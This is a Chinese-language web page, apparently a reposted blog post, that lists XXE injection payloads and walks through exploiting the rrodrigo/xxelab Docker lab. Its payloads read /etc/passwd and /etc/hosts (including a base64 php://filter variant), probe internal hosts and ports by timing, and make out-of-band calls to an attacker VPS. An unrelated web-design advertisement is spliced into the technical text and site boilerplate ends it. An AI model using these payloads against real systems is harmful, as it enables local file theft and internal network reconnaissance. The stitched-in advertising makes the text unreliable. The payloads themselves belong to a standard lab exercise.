引用外部DTD文件访问内网主机/端口。
创新互联建站服务项目包括云岩网站建设、云岩网站制作、云岩网页制作以及云岩网络营销策划等。多年来,我们专注于互联网行业,利用自身积累的技术优势、行业经验、深度合作伙伴关系等,向广大中小型企业、政府机构等提供互联网行业的解决方案,云岩网站推广取得了明显的社会效益与经济效益。目前,我们服务的客户以成都为中心已经辐射到云岩省份的部分城市,未来相信会继续扩大服务区域并继续获得客户的支持与信任!
<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看响应时间)
引用外部DTD文件访问wai网。
<!DOCTYPE a SYSTEM "http://vps_ip" >
引用内部实体。
<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
外部实体读本地文件。
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
外部实体访问内wang主机端口。
<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)
外部实体访问wai网。
<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
docker中下载rrodrigo/xxelab该镜像
启动:docker run -d -p 8082:80 rrodrigo/xxelab
抓取注册包,发现采用xml格式传递,且邮箱有返回:
将返回内容处进行xxe回显设置读取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "/etc/passwd">
]>
利用base64编码进行xxe,防止有返回包验证
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
返回base64数据包,base64解码
网站栏目:利用xxe获取linux系统的passwd
文章起源:https://www.cdcxhl.com/article38/iiojpp.html
成都网站建设公司_创新互联,为您提供虚拟主机、企业建站、移动网站建设、全网营销推广、域名注册、商城网站
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联